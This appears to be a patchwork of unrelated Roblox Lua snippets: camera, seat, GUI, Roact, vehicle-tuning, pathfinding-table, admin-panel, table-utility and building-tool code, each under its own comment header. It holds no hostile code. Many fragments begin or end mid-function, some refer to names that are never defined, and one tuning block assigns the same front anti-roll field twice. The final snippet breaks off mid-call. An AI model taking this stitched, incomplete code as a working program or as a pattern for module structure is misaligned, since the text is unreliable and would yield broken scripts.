-- local BaseCamera = require(script.Parent:WaitForChild("BaseCamera")) local OrbitalCamera = setmetatable({}, BaseCamera) OrbitalCamera.__index = OrbitalCamera function OrbitalCamera.new() local self = setmetatable(BaseCamera.new(), OrbitalCamera) self.lastUpdate = tick() -- OrbitalCamera-specific members self.changedSignalConnections = {} self.refAzimuthRad = nil self.curAzimuthRad = nil self.minAzimuthAbsoluteRad = nil self.maxAzimuthAbsoluteRad = nil self.useAzimuthLimits = nil self.curElevationRad = nil self.minElevationRad = nil self.maxElevationRad = nil self.curDistance = nil self.minDistance = nil self.maxDistance = nil -- Gamepad self.r3ButtonDown = false self.l3ButtonDown = false self.gamepadDollySpeedMultiplier = 1 self.lastUserPanCamera = tick() self.externalProperties = {} self.externalProperties["InitialDistance"] = 25 self.externalProperties["MinDistance"] = 10 self.externalProperties["MaxDistance"] = 100 self.externalProperties["InitialElevation"] = 35 self.externalProperties["MinElevation"] = 35 self.externalProperties["MaxElevation"] = 35 self.externalProperties["ReferenceAzimuth"] = -45 -- Angle around the Y axis where the camera starts. -45 offsets the camera in the -X and +Z directions equally self.externalProperties["CWAzimuthTravel"] = 90 -- How many degrees the camera is allowed to rotate from the reference position, CW as seen from above self.externalProperties["CCWAzimuthTravel"] = 90 -- How many degrees the camera is allowed to rotate from the reference position, CCW as seen from above self.externalProperties["UseAzimuthLimits"] = false -- Full rotation around Y axis available by default self:LoadNumberValueParameters() return self end function OrbitalCamera:LoadOrCreateNumberValueParameter(name, valueType, updateFunction) local valueObj = script:FindFirstChild(name) if valueObj and valueObj:isA(valueType) then -- Value object exists and is the correct type, use its value self.externalProperties[name] = valueObj.Value elseif self.externalProperties[name] ~= nil then -- Create missing (or replace incorrectly-typed) valueObject with default value valueObj = Instance.new(valueType) valueObj.Name = name valueObj.Parent = script valueObj.Value = self.externalProperties[name] else return end if updateFunction then if self.changedSignalConnections[name] then self.changedSignalConnections[name]:Disconnect() end self.changedSignalConnections[name] = valueObj.Changed:Connect(function(newValue) self.externalProperties[name] = newValue updateFunction(self) end) end end function OrbitalCamera:SetAndBoundsCheckAzimuthValues() self.minAzimuthAbsoluteRad = math.rad(self.externalProperties["ReferenceAzimuth"]) - math.abs(math.rad(self.externalProperties["CWAzimuthTravel"])) self.maxAzimuthAbsoluteRad = math.rad(self.externalProperties["ReferenceAzimuth"]) + math.abs(math.rad(self.externalProperties["CCWAzimuthTravel"])) self.useAzimuthLimits = self.externalProperties["UseAzimuthLimits"] if self.useAzimuthLimits then self.curAzimuthRad = math.max(self.curAzimuthRad, self.minAzimuthAbsoluteRad) self.curAzimuthRad = math.min(self.curAzimuthRad, self.maxAzimuthAbsoluteRad) end end function OrbitalCamera:SetAndBoundsCheckElevationValues() -- These degree values are the direct user input values. It is deliberate that they are -- ranged checked only against the extremes, and not against each other. Any time one -- is changed, both of the internal values in radians are recalculated. This allows for -- A developer to change the values in any order and for the end results to be that the -- internal values adjust to match intent as best as possible. local minElevationDeg = math.max(self.externalProperties["MinElevation"], MIN_ALLOWED_ELEVATION_DEG) local maxElevationDeg = math.min(self.externalProperties["MaxElevation"], MAX_ALLOWED_ELEVATION_DEG) -- Set internal values in radians self.minElevationRad = math.rad(math.min(minElevationDeg, maxElevationDeg)) self.maxElevationRad = math.rad(math.max(minElevationDeg, maxElevationDeg)) self.curElevationRad = math.max(self.curElevationRad, self.minElevationRad) self.curElevationRad = math.min(self.curElevationRad, self.maxElevationRad) end function OrbitalCamera:SetAndBoundsCheckDistanceValues() self.minDistance = self.externalProperties["MinDistance"] self.maxDistance = self.externalProperties["MaxDistance"] self.curDistance = math.max(self.curDistance, self.minDistance) self.curDistance = math.min(self.curDistance, self.maxDistance) end
---Exit function
function module.ExitSeat() local humanoid = getLocalHumanoid() if not humanoid then return false end local character = humanoid.Parent if character.Humanoid.Sit == true then for _, joint in ipairs(character.HumanoidRootPart:GetJoints()) do if joint.Name == "SeatWeld" then if Seats[joint.Part0] then --Dont trigger this script on unrelated seats for _, func in pairs(module.OnExitFunctions) do func(joint.Part0) end ExitSeat:FireServer() -- stop playing animations for name, track in pairs(AnimationTracks) do track:Stop() end return true end end end end end function module.GetSeats() return Seats end
-- отображение текущих характеристик башни
wait(1) me = script.Parent plr = game.Players.LocalPlayer gui = plr.PlayerGui.ScreenGui.Main.TowerInfo while true do wait() if me.objTower.Value == nil then me.Visible = false else obj=me.objTower.Value me.Visible = true -- print(obj.Name) local val = obj:FindFirstChild("Owner") if val then gui.txtOwner.Text = val.Value end temp=obj:FindFirstChild("Config") if temp ~= nil then -- не кристалл gui.txtDamage.Text = obj.cfgDamage.Value gui.txtSpeed.Text = obj.cfgSpeedAttack.Value -- вывод типа урона types = temp.DamageType.Value if types == 1 then gui.txtType.Text= "Single" gui.txtRadius.Text = obj.cfgRadius.Value elseif types == 2 then gui.txtType.Text= "AoE" gui.txtRadius.Text = obj.cfgRadius.Value elseif types == 3 then gui.txtType.Text= "Contact" gui.txtRadius.Text = " - " else gui.txtType.Text= " ??? " end else -- кристалл gui.txtDamage.Text = " - " gui.txtRadius.Text = " - " gui.txtSpeed.Text = " - " gui.txtType.Text = " - " end end end
--Effects
Hit:Play() wait(0.1) Effects.Trail.Enabled = true Trace.Sound:Play() wait(0.1) Effects.Trail.Enabled = false end wait(2.5)
--[[ An internal method used by the reconciler to construct a new component instance and attach it to the given virtualNode. ]]
function Component:__mount(reconciler, virtualNode) if config.internalTypeChecks then internalAssert(Type.of(self) == Type.StatefulComponentClass, "Invalid use of `__mount`") internalAssert(Type.of(virtualNode) == Type.VirtualNode, "Expected arg #2 to be of type VirtualNode") end local currentElement = virtualNode.currentElement local hostParent = virtualNode.hostParent -- Contains all the information that we want to keep from consumers of -- Roact, or even other parts of the codebase like the reconciler. local internalData = { reconciler = reconciler, virtualNode = virtualNode, componentClass = self, lifecyclePhase = ComponentLifecyclePhase.Init, } local instance = { [Type] = Type.StatefulComponentInstance, [InternalData] = internalData, } setmetatable(instance, self) virtualNode.instance = instance local props = currentElement.props if self.defaultProps ~= nil then props = assign({}, self.defaultProps, props) end instance:__validateProps(props) instance.props = props local newContext = assign({}, virtualNode.context) instance._context = newContext instance.state = assign({}, instance:__getDerivedState(instance.props, {})) if instance.init ~= nil then instance:init(instance.props) assign(instance.state, instance:__getDerivedState(instance.props, instance.state)) end -- It's possible for init() to redefine _context! virtualNode.context = instance._context internalData.lifecyclePhase = ComponentLifecyclePhase.Render local renderResult = instance:render() internalData.lifecyclePhase = ComponentLifecyclePhase.ReconcileChildren reconciler.updateVirtualNodeWithRenderResult(virtualNode, hostParent, renderResult) if instance.didMount ~= nil then internalData.lifecyclePhase = ComponentLifecyclePhase.DidMount instance:didMount() end if internalData.pendingState ~= nil then -- __update will handle pendingState, so we don't pass any new element or state instance:__update(nil, nil) end internalData.lifecyclePhase = ComponentLifecyclePhase.Idle end
-- local Timer = Timer.new()
--Timer:OnFinish(function() timedOut = true end) --Timer:Start(self.Timeout) local queueNumber = self.QueueEnd self.QueueEnd = self.QueueEnd + 1 while not self.Deleted and queueNumber ~= self.QueueIndex do --not timedOut wait(.1) end --Timer:Stop() wait() --make sure last thread has finished --if timedOut then self:Next() print("Queue timeout") return false end --return true end function Queue:Next() self.QueueIndex = self.QueueIndex + 1 end return Queue
-- // Funtions
function toggleButton() local function toggleOn() if debounce then return end debounce = true frame:SetAttribute('enabled', true) TweenService:Create(button, TweenInfo.new(waitTime, Enum.EasingStyle.Cubic, Enum.EasingDirection.InOut), {Position = onPosition}):Play() TweenService:Create(button, TweenInfo.new(waitTime, Enum.EasingStyle.Cubic, Enum.EasingDirection.InOut), {BackgroundColor3 = onColor}):Play() task.wait(waitTime) debounce = false end local function toggleOff() if debounce then return end debounce = true frame:SetAttribute('enabled', false) TweenService:Create(button, TweenInfo.new(waitTime, Enum.EasingStyle.Cubic, Enum.EasingDirection.InOut), {Position = offPosition}):Play() TweenService:Create(button, TweenInfo.new(waitTime, Enum.EasingStyle.Cubic, Enum.EasingDirection.InOut), {BackgroundColor3 = offColor}):Play() task.wait(waitTime) debounce = false end if frame:GetAttribute('enabled') then toggleOff() else toggleOn() end end
-- Create scope HUD when tool opens
coroutine.wrap(function () Enabled:Wait() -- Create scope HUD local ScopeHUDTemplate = require(UIElements:WaitForChild 'ScopeHUD') local ScopeHUD = Roact.createElement(ScopeHUDTemplate, { Core = getfenv(0); }) -- Mount scope HUD Roact.mount(ScopeHUD, UI, 'ScopeHUD') end)()
--[[Brakes]]
Tune.ABSEnabled = true -- Implements ABS Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS) Tune.FBrakeForce = 3000 -- Front brake force Tune.RBrakeForce = 4000 -- Rear brake force Tune.PBrakeForce = 4000 -- Handbrake force Tune.FLgcyBForce = 15000 -- Front brake force [PGS OFF] Tune.RLgcyBForce = 10000 -- Rear brake force [PGS OFF] Tune.LgcyPBForce = 25000 -- Handbrake force [PGS OFF]
--[[Susupension]]
Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled --Front Suspension Tune.FSusDamping = 1500 -- Spring Dampening Tune.FSusStiffness = 9000 -- Spring Force Tune.FAntiRoll = 50000 -- Anti-Roll (Gyro Dampening) Tune.FSusLength = 2.15 -- Suspension length (in studs) Tune.FPreCompress = .2 -- Pre-compression adds resting length force Tune.FExtensionLim = .3 -- Max Extension Travel (in studs) Tune.FCompressLim = 0 -- Max Compression Travel (in studs) Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.FWsBoneLen = 5 -- Wishbone Length Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Rear Suspension Tune.RSusDamping = 1500 -- Spring Dampening Tune.RSusStiffness = 9000 -- Spring Force Tune.FAntiRoll = 50000 -- Anti-Roll (Gyro Dampening) Tune.RSusLength = 2.2 -- Suspension length (in studs) Tune.RPreCompress = -0.3 -- Pre-compression adds resting length force Tune.RExtensionLim = .3 -- Max Extension Travel (in studs) Tune.RCompressLim = 0 -- Max Compression Travel (in studs) Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.RWsBoneLen = 5 -- Wishbone Length Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Aesthetics Tune.SusVisible = true -- Spring Visible Tune.WsBVisible = false -- Wishbone Visible Tune.SusRadius = .2 -- Suspension Coil Radius Tune.SusThickness = .1 -- Suspension Coil Thickness Tune.SusColor = "Bright red" -- Suspension Color [BrickColor] Tune.SusCoilCount = 6 -- Suspension Coil Count Tune.WsColor = "Black" -- Wishbone Color [BrickColor] Tune.WsThickness = .1 -- Wishbone Rod Thickness
--Precalculated paths
local t,f,n=true,false,{} local r={ [58]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58},t}, [49]={{51,50,47,48,49},t}, [16]={n,f}, [19]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,19},t}, [59]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,59},t}, [63]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,23,62,63},t}, [34]={{51,50,47,48,49,45,44,28,29,31,32,34},t}, [21]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,21},t}, [48]={{51,50,47,48},t}, [27]={{51,50,47,48,49,45,44,28,27},t}, [14]={n,f}, [31]={{51,50,47,48,49,45,44,28,29,31},t}, [56]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56},t}, [29]={{51,50,47,48,49,45,44,28,29},t}, [13]={n,f}, [47]={{51,50,47},t}, [12]={n,f}, [45]={{51,50,47,48,49,45},t}, [57]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,57},t}, [36]={{51,50,47,48,49,45,44,28,29,31,32,33,36},t}, [25]={{51,50,47,48,49,45,44,28,27,26,25},t}, [71]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,59,61,71},t}, [20]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20},t}, [60]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,60},t}, [8]={n,f}, [4]={n,f}, [75]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,59,61,71,72,76,73,75},t}, [22]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,21,22},t}, [74]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,59,61,71,72,76,73,74},t}, [62]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,23,62},t}, [1]={n,f}, [6]={n,f}, [11]={n,f}, [15]={n,f}, [37]={{51,50,47,48,49,45,44,28,29,31,32,33,36,37},t}, [2]={n,f}, [35]={{51,50,47,48,49,45,44,28,29,31,32,34,35},t}, [53]={{51,55,54,53},t}, [73]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,59,61,71,72,76,73},t}, [72]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,59,61,71,72},t}, [33]={{51,50,47,48,49,45,44,28,29,31,32,33},t}, [69]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,60,69},t}, [65]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,19,66,64,65},t}, [26]={{51,50,47,48,49,45,44,28,27,26},t}, [68]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,19,66,64,67,68},t}, [76]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,59,61,71,72,76},t}, [50]={{51,50},t}, [66]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,19,66},t}, [10]={n,f}, [24]={{51,50,47,48,49,45,44,28,27,26,25,24},t}, [23]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,23},t}, [44]={{51,50,47,48,49,45,44},t}, [39]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39},t}, [32]={{51,50,47,48,49,45,44,28,29,31,32},t}, [3]={n,f}, [30]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,30},t}, [51]={{51},t}, [18]={n,f}, [67]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,19,66,64,67},t}, [61]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,59,61},t}, [55]={{51,55},t}, [46]={{51,50,47,46},t}, [42]={{51,50,47,48,49,45,44,28,29,31,32,34,35,38,42},t}, [40]={{51,50,47,48,49,45,44,28,29,31,32,34,35,40},t}, [52]={{51,55,54,53,52},t}, [54]={{51,55,54},t}, [43]={n,f}, [7]={n,f}, [9]={n,f}, [41]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41},t}, [17]={n,f}, [38]={{51,50,47,48,49,45,44,28,29,31,32,34,35,38},t}, [28]={{51,50,47,48,49,45,44,28},t}, [5]={n,f}, [64]={{51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,19,66,64},t}, } return r
--[[ Creates an association with specified room ]]
function Window:associateRoom(room) self._associatedRoom = room end
----- MAGIC NUMBERS ABOUT THE TOOL ----- -- How much damage a bullet does
local Damage = 7
--Game which use Donor
local gamesWithDonor = { -- Its currently too time consuming and unfair to maintain donor games -- A new automated discover will be introduced with the successor of HD Admin, Nanoblox --[[{574407221, "Super Hero Tycoon"}; {2921400152, "4PLR Tycoon"}; {1828225164, "Guest World"}; {591993002, "OHD Roleplay World"}; {4823091615 , "Paradise Life"}; {49254942, "2 Player House Tycoon"}; {3169584572, "Meme Music"}; {2764548803, "Island Hotel"}; {3093229294, "Animations: Mocap"}; {3411100258, "evry bordr gam evr"}; {3108078982, "HD Admin House"}; {12996397, "Mega Fun Obby 🌟"}; {184558572, "Survive the Disasters"}; {4522347649, "[FREE ADMIN]"}; {4913581664, "Cart Ride Into Rdite!"};--]] --{0, ""}; } local coreFunctions repeat wait() coreFunctions = main:GetModule("cf") until coreFunctions.RandomiseTable local gamesWithDonorSorted = coreFunctions:RandomiseTable(gamesWithDonor, 86400) for i, gameData in pairs(gamesWithDonorSorted) do local gameId = gameData[1] local gameName = gameData[2] local row = math.ceil(i/2) local column = i % 2 local gamePage if column == 1 then gamePage = templateGame:Clone() gamePage.Name = "AI Game".. row gamePage.Visible = true gamePage.Parent = pages.donor else gamePage = pages.donor["AI Game".. row] end local gameThumbnail = gamePage["GameImage"..column] local gameLabel = gamePage["GameName"..column] local image = "https://assetgame.roblox.com/Game/Tools/ThumbnailAsset.ashx?aid=".. gameId .."&fmt=png&wd=420&ht=420" gameThumbnail.Image = image gameLabel.Text = gameName gameThumbnail.Visible = true gameLabel.Visible = true --Teleport to game local selectButton = gameThumbnail.Select local clickFrame = gameThumbnail.ClickFrame selectButton.MouseButton1Click:Connect(function() teleportFrame.ImageLabel.Image = image teleportFrame.TeleportTo.TextLabel.Text = gameName.."?" teleportFrame.MainButton.PlaceId.Value = gameId main:GetModule("cf"):ShowWarning("Teleport") end) selectButton.MouseEnter:Connect(function() if not main.warnings.Visible then clickFrame.Visible = true end end) selectButton.MouseLeave:Connect(function() clickFrame.Visible = false end) teleportFrame.Visible = true end
------------------------------------------------------------
local TwinService = game:GetService("TweenService") local AnimationHighLight = TweenInfo.new(3, Enum.EasingStyle.Sine ,Enum.EasingDirection.InOut) local Info1 = {Position = Vector3.new(pos1,Positionn,pos3)} local Info2 = {Position = Vector3.new(pos1,Positionn2,pos3)} local AnimkaUp = TwinService:Create(Danger, AnimationHighLight, Info1 ) local AnimkaDown = TwinService:Create(Danger, AnimationHighLight, Info2 ) while true do AnimkaDown:Play() wait(2) AnimkaUp:Play() wait(2) end
--//Setup//--
local KillParts = script.Parent:GetChildren()
--[[ TableUtil.Copy(Table tbl) TableUtil.CopyShallow(Table tbl) TableUtil.Sync(Table tbl, Table templateTbl) TableUtil.Print(Table tbl, String label, Boolean deepPrint) TableUtil.FastRemove(Table tbl, Number index) TableUtil.FastRemoveFirstValue(Table tbl, Variant value) TableUtil.Map(Table tbl, Function callback) TableUtil.Filter(Table tbl, Function callback) TableUtil.Reduce(Table tbl, Function callback [, Number initialValue]) TableUtil.Assign(Table target, ...Table sources) TableUtil.IndexOf(Table tbl, Variant item) TableUtil.Reverse(Table tbl) TableUtil.Shuffle(Table tbl) TableUtil.IsEmpty(Table tbl) TableUtil.EncodeJSON(Table tbl) TableUtil.DecodeJSON(String json) EXAMPLES: Copy: Performs a deep copy of the given table. In other words, all nested tables will also get copied. local tbl = {"a", "b", "c"} local tblCopy = TableUtil.Copy(tbl) CopyShallow: Performs a shallow copy of the given table. In other words, all nested tables will not be copied, but only moved by reference. Thus, a nested table in both the original and the copy will be the same. local tbl = {"a", "b", "c"} local tblCopy = TableUtil.CopyShallow(tbl) Sync: Synchronizes a table to a template table. If the table does not have an item that exists within the template, it gets added. If the table has something that the template does not have, it gets removed. local tbl1 = {kills = 0; deaths = 0; points = 0} local tbl2 = {points = 0} TableUtil.Sync(tbl2, tbl1) -- In words: "Synchronize table2 to table1" print(tbl2.deaths) Print: Prints out the table to the output in an easy-to-read format. Good for debugging tables. If deep printing, avoid cyclical references. local tbl = {a = 32; b = 64; c = 128; d = {x = 0; y = 1; z = 2}} TableUtil.Print(tbl, "My Table", true) FastRemove: Removes an item from an array at a given index. Only use this if you do NOT care about the order of your array. This works by simply popping the last item in the array and overwriting the given index with the last item. This is O(1), compared to table.remove's O(n) speed. local tbl = {"hello", "there", "this", "is", "a", "test"} TableUtil.FastRemove(tbl, 2) -- Remove "there" in the array print(table.concat(tbl, " ")) -- > hello test is a FastRemoveFirstValue: Calls FastRemove on the first index that holds the given value. local tbl = {"abc", "hello", "hi", "goodbye", "hello", "hey"} local removed, atIndex = TableUtil.FastRemoveFirstValue(tbl, "hello") if (removed) then print("Removed at index " .. atIndex) print(table.concat(tbl, " ")) -- > abc hi goodbye hello hey else print("Did not find value") end Map: This allows you to construct a new table by calling the given function on each item in the table. local peopleData = { {firstName = "Bob"; lastName = "Smith"}; {firstName = "John"; lastName = "Doe"}; {firstName = "Jane"; lastName = "Doe"}; } local people = TableUtil.Map(peopleData, function(item) return {Name = item.firstName .. " " .. item.lastName} end) -- 'people' is now an array that looks like: { {Name = "Bob Smith"}; ... } Filter: This allows you to create a table based on the given table and a filter function. If the function returns 'true', the item remains in the new table; if the function returns 'false', the item is discluded from the new table. local people = { {Name = "Bob Smith"; Age = 42}; {Name = "John Doe"; Age = 34}; {Name = "Jane Doe"; Age = 37}; } local peopleUnderForty = TableUtil.Filter(people, function(item) return item.Age < 40 end) Reduce: This allows you to reduce an array to a single value. Useful for quickly summing up an array. local tbl = {40, 32, 9, 5, 44} local tblSum = TableUtil.Reduce(tbl, function(accumulator, value) return accumulator + value end) print(tblSum) -- > 130 Assign: This allows you to assign values from multiple tables into one. The Assign function is very similar to JavaScript's Object.Assign() and is useful for things such as composition-designed systems. local function Driver() return { Drive = function(self) self.Speed = 10 end; } end local function Teleporter() return { Teleport = function(self, pos) self.Position = pos end; } end local function CreateCar() local state = { Speed = 0; Position = Vector3.new(); } -- Assign the Driver and Teleporter components to the car: return TableUtil.Assign({}, Driver(), Teleporter()) end local car = CreateCar() car:Drive() car:Teleport(Vector3.new(0, 10, 0)) IndexOf: Returns the index of the given item in the table. If not found, this will return nil. This is the same as table.find, which Roblox added after this method was written. To keep backwards compatibility, this method will continue to exist, but will point directly to table.find. local tbl = {"Hello", 32, true, "abc"} local abcIndex = TableUtil.IndexOf(tbl, "abc") -- > 4 local helloIndex = TableUtil.IndexOf(tbl, "Hello") -- > 1 local numberIndex = TableUtil.IndexOf(tbl, 64) -- > nil Reverse: Creates a reversed version of the array. Note: This is a shallow copy, so existing references will remain within the new table. local tbl = {2, 4, 6, 8} local rblReversed = TableUtil.Reverse(tbl) -- > {8, 6, 4, 2} Shuffle: Shuffles (i.e. randomizes) an array. This uses the Fisher-Yates algorithm. local tbl = {1, 2, 3, 4, 5, 6, 7, 8, 9} TableUtil.Shuffle(tbl) print(table.concat(tbl, ", ")) -- e.g. > 3, 6, 9, 2, 8, 4, 1, 7, 5 --]]
local TableUtil = {} local http = game:GetService("HttpService") local IndexOf = table.find local function CopyTable(t) assert(type(t) == "table", "First argument must be a table") local tCopy = table.create(#t) for k,v in pairs(t) do if (type(v) == "table") then tCopy[k] = CopyTable(v) else tCopy[k] = v end end return tCopy end local function CopyTableShallow(t) local tCopy = table.create(#t) for k,v in pairs(t) do tCopy[k] = v end return tCopy end local function Sync(tbl, templateTbl) assert(type(tbl) == "table", "First argument must be a table") assert(type(templateTbl) == "table", "Second argument must be a table") -- If 'tbl' has something 'templateTbl' doesn't, then remove it from 'tbl' -- If 'tbl' has something of a different type than 'templateTbl', copy from 'templateTbl' -- If 'templateTbl' has something 'tbl' doesn't, then add it to 'tbl' for k,v in pairs(tbl) do local vTemplate = templateTbl[k] -- Remove keys not within template: if (vTemplate == nil) then tbl[k] = nil -- Synchronize data types: elseif (type(v) ~= type(vTemplate)) then if (type(vTemplate) == "table") then tbl[k] = CopyTable(vTemplate) else tbl[k] = vTemplate end -- Synchronize sub-tables: elseif (type(v) == "table") then Sync(v, vTemplate) end end -- Add any missing keys: for k,vTemplate in pairs(templateTbl) do local v = tbl[k] if (v == nil) then if (type(vTemplate) == "table") then tbl[k] = CopyTable(vTemplate) else tbl[k] = vTemplate end end end end local function FastRemove(t, i) local n = #t t[i] = t[n] t[n] = nil end local function Map(t, f) assert(type(t) == "table", "First argument must be a table") assert(type(f) == "function", "Second argument must be an array") local newT = table.create(#t) for k,v in pairs(t) do newT[k] = f(v, k, t) end return newT end local function Filter(t, f) assert(type(t) == "table", "First argument must be a table") assert(type(f) == "function", "Second argument must be an array") local newT = table.create(#t) if (#t > 0) then local n = 0 for i = 1,#t do local v = t[i] if (f(v, i, t)) then n = (n + 1) newT[n] = v end end else for k,v in pairs(t) do if (f(v, k, t)) then newT[k] = v end end end return newT end local function Reduce(t, f, init) assert(type(t) == "table", "First argument must be a table") assert(type(f) == "function", "Second argument must be an array") assert(init == nil or type(init) == "number", "Third argument must be a number or nil") local result = (init or 0) for k,v in pairs(t) do result = f(result, v, k, t) end return result end
--- Calls the transform function on this argument. -- The return value(s) from this function are passed to all of the other argument methods. -- Called automatically at instantiation
function Argument:Transform() if #self.TransformedValues ~= 0 then return end if self.Type.Listable and #self.RawValue > 0 then local rawSegments = Util.SplitStringSimple(self.RawValue, ",") if self.RawValue:sub(#self.RawValue, #self.RawValue) == "," then rawSegments[#rawSegments + 1] = "" -- makes auto complete tick over right after pressing , end for i, rawSegment in ipairs(rawSegments) do self.RawSegments[i] = rawSegment self.TransformedValues[i] = { self:TransformSegment(rawSegment) } end else self.RawSegments[1] = self.RawValue self.TransformedValues[1] = { self:TransformSegment(self.RawValue) } end end function Argument:TransformSegment(rawSegment) if self.Type.Transform then return self.Type.Transform(rawSegment, self.Executor) else return rawSegment end end
--local function checkIfInfectedRank(plr) -- for _,data in pairs(roleTeams)do -- --print(plr.Team,data[1],plr:GetRankInGroup(groupId),data[2]) -- if plr.Team == data[2] and plr:GetRankInGroup(data[1]) == data[3] then -- return true -- end -- end -- return false --end
--((current - target) / 2) + target + (((current - target) / 2) * math.cos((currenttime * math.pi) / lengthoftime))
function CloudVisiblity(TargetSmall, TargetLarge, Small, Large, Time) for i = 1, Time * 10 do local TransSmall = ((Small[1].Transparency - TargetSmall) / 2) + TargetSmall + (((Small[1].Transparency - TargetSmall) / 2) * math.cos((i * math.pi) / (Time * 10))) local TransLarge = ((Large[1].Transparency - TargetLarge) / 2) + TargetLarge + (((Large[1].Transparency - TargetLarge) / 2) * math.cos((i * math.pi) / (Time * 10))) for _, Child in pairs(Small) do Child.Transparency = TransSmall end for _, Child in pairs(Large) do Child.Transparency = TransLarge end wait(.1) end for _, Child in pairs(Small) do Child.Transparency = TargetSmall end for _, Child in pairs(Large) do Child.Transparency = TargetLarge end end return CloudVisiblity
-- Walking --
local function Walk(input) if input.KeyCode == Enum.KeyCode.LeftShift then Running = false humanoid.WalkSpeed = 16 while not Running and Stamina2.MinValue < 550 do Stamina2.MinValue += 2 StamBar.Size = UDim2.new(0, Stamina2.MinValue, 0, 15) wait(.1) end end end UIS.InputEnded:Connect(Walk) while true do wait(.01) StamBar.Size = UDim2.new(0, Stamina2.MinValue, 0, 15) if Stamina2.MinValue >= 180 then local Goal = {BackgroundColor3 = Color3.new(0.258824, 0.756863, 0.0470588)} --Set the tween: local Tween = TweenService:Create(StamBar, TweenInfo.new(2), Goal) Tween:Play() end -- if stamina is below 150 then color is yellow if Stamina2.MinValue <= 150 then local Goal = {BackgroundColor3 = Color3.new(0.772549, 0.772549, 0)} --Set the tween: local Tween = TweenService:Create(StamBar, TweenInfo.new(2), Goal) Tween:Play() end -- if stamina is below 50 then color is red if Stamina2.MinValue <= 70 then local Goal = {BackgroundColor3 = Color3.new(0.772549, 0, 0.0117647)} --Set the tween: local Tween = TweenService:Create(StamBar, TweenInfo.new(2), Goal) Tween:Play() end end
-- Axis names corresponding to each face
local FaceAxisNames = { [Enum.NormalId.Top] = 'Y'; [Enum.NormalId.Bottom] = 'Y'; [Enum.NormalId.Front] = 'Z'; [Enum.NormalId.Back] = 'Z'; [Enum.NormalId.Left] = 'X'; [Enum.NormalId.Right] = 'X'; }; function ShowHandles() -- Creates and automatically attaches handles to the currently focused part -- Autofocus handles on latest focused part if not Connections.AutofocusHandle then Connections.AutofocusHandle = Selection.FocusChanged:Connect(ShowHandles); end; -- If handles already exist, only show them if ResizeTool.Handles then ResizeTool.Handles:SetAdornee(Selection.Focus) return end local AreaPermissions local function OnHandleDragStart() -- Prepare for resizing parts when the handle is clicked -- Prevent selection Core.Targeting.CancelSelecting(); -- Indicate resizing via handles HandleResizing = true; -- Stop parts from moving, and capture the initial state of the parts InitialState = PreparePartsForResizing(); -- Track the change TrackChange(); -- Cache area permissions information if Core.Mode == 'Tool' then AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Selection.Parts), Core.Player); end; end local function OnHandleDrag(Face, Distance) -- Update parts when the handles are moved -- Only resize if handle is enabled if not HandleResizing then return; end; -- Calculate the increment-aligned drag distance Distance = GetIncrementMultiple(Distance, ResizeTool.Increment); -- Resize the parts on the selected faces by the calculated distance local Success, Adjustment = ResizePartsByFace(Face, Distance, ResizeTool.Directions, InitialState); -- If the resizing did not succeed, resize according to the suggested adjustment if not Success then ResizePartsByFace(Face, Adjustment, ResizeTool.Directions, InitialState); end; -- Update the "studs resized" indicator if ResizeTool.UI then ResizeTool.UI.Changes.Text.Text = 'resized ' .. Support.Round(math.abs(Adjustment or Distance), 3) .. ' studs'; end; -- Make sure we're not entering any unauthorized private areas if Core.Mode == 'Tool' and Security.ArePartsViolatingAreas(Selection.Parts, Core.Player, false, AreaPermissions) then for Part, State in pairs(InitialState) do Part.Size = State.Size; Part.CFrame = State.CFrame; end; end; end local function OnHandleDragEnd() if not HandleResizing then return end -- Disable resizing HandleResizing = false; -- Prevent selection Core.Targeting.CancelSelecting(); -- Make joints, restore original anchor and collision states for Part, State in pairs(InitialState) do Part:MakeJoints(); Part.CanCollide = State.CanCollide; Part.Anchored = State.Anchored; end; -- Register the change RegisterChange(); end -- Create the handles local Handles = require(Libraries:WaitForChild 'Handles') ResizeTool.Handles = Handles.new({ Color = ResizeTool.Color.Color, 